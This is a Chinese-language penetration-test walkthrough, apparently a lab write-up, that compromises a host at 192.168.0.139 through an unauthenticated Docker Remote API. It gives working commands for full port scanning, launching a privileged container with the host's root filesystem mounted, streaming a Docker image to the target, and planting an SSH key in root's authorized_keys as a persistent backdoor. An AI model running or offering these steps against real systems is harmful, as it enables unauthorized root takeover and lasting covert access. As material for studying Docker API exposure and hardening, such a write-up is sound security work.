第一阶段:信息收集与侦察 (Reconnaissance)
核心命令:
nmap -p- -sV -T4 --min-rate 1000 -oA full_port_scan 192.168.0.139nmap: 启动网络扫描工具 Nmap。-p-: 扫描所有 65535 个 TCP 端口,而不是仅扫描常见的端口,确保不遗漏任何服务。-sV: 进行服务版本探测。Nmap 会尝试与开放的端口通信,以确定上面运行的具体软件及其版本(例如,识别出是 Docker 服务,而不是普通的 HTTP)。-T4: 设置扫描速度为“攻击性(Aggressive)”模式,以加快扫描进程。--min-rate 1000: 确保每秒至少发送 1000 个数据包,进一步提高扫描速度。-oA full_port_scan: 将扫描结果以所有格式(标准、Grepable、XML)输出,并保存为文件前缀为full_port_scan的文件,便于后续分析。
- 关键发现:命令输出明确指出了端口
2375/tcp开放,且运行着 Docker Remote API 服务。
第二阶段:漏洞分析 (Vulnerability Analysis)
- 漏洞名称:Docker Remote API 未授权访问漏洞。
- 风险分析:该漏洞允许任何人通过网络直接向 Docker 服务发送指令,而无需任何身份验证。
攻击思路:构造一个
docker run命令,通过-H参数指定远程 Docker 主机,并使用-v参数挂载宿主机根目录,从而获得一个可以控制整个宿主机文件系统的容器。核心攻击命令结构:
docker -H tcp://192.168.0.139:2375 run -it --privileged -v /:/mnt <镜像名> sh-H tcp://...: (关键) 指定 Docker 客户端连接的远程主机地址和端口,而不是默认的本地 Unix 套接字。这是实现远程控制的核心。run: 告诉 Docker 运行一个新容器。-it:-i(interactive) 和-t(tty) 的组合,表示以交互模式运行,并分配一个伪终端,这样我们就能得到一个可以输入的 Shell。-v /:/mnt: (攻击精髓) 将宿主机的根目录/挂载到容器内的/mnt目录。这意味着在容器内对/mnt的任何读写操作,都会真实地作用于宿主机的文件系统。<镜像名> sh: 指定使用哪个镜像来启动容器,并在容器启动后立即执行sh命令,给我们一个 Shell。
第三阶段:漏洞利用与障碍排除 (Exploitation & Problem Solving)
- 首次尝试失败:执行上述命令时,因目标机无本地镜像且无法联网下载而失败。
突破性解决方案 (高级技巧):通过命令行管道,将本地镜像流式传输到远程主机。
核心命令:
docker save alpine | docker -H tcp://192.168.0.139:2375 loaddocker save alpine: 在攻击机本地执行,将alpine镜像打包成一个.tar归档文件流,并输出到标准输出 (stdout)。|(管道符): Linux/Unix 的核心功能,将左边命令的 stdout 直接作为右边命令的标准输入 (stdin)。docker -H ... load: 在远程目标机上执行docker load命令。此命令会从 stdin 读取.tar文件流,并将其解包加载为 Docker 镜像。- 整体效果:这条命令巧妙地创建了一个从攻击机到目标机的数据管道,通过
2375端口直接传输并加载了镜像,完美绕过了目标机的所有网络限制。
- 成功获得初始访问:镜像传输成功后,再次执行
docker run命令,成功进入容器 Shell。
第四阶段:权限提升与持久化 (Privilege Escalation & Persistence)
- 目标:建立一个永久性的 SSH 后门,以便将来直接登录。
核心命令 (在容器内执行):
echo 'ssh-rsa AAAA...' >> /mnt/root/.ssh/authorized_keysecho 'ssh-rsa AAAA...': 打印你在攻击机上复制的 SSH 公钥字符串。>>: 追加重定向操作符。它会将左边命令的输出,添加到指定文件的末尾,而不会覆盖文件原有内容。/mnt/root/.ssh/authorized_keys: 这是命令写入的目标文件。因为/mnt就是宿主机的根目录/,所以这个路径实际上指向的是宿主机上的/root/.ssh/authorized_keys文件。此文件记录了所有可以免密登录root账户的公钥。
- 最终成果:此命令执行后,你的攻击机就被添加到了目标机的信任列表中,可以通过
ssh root@192.168.0.139免密登录,实现了完全且持久的控制。
没有评论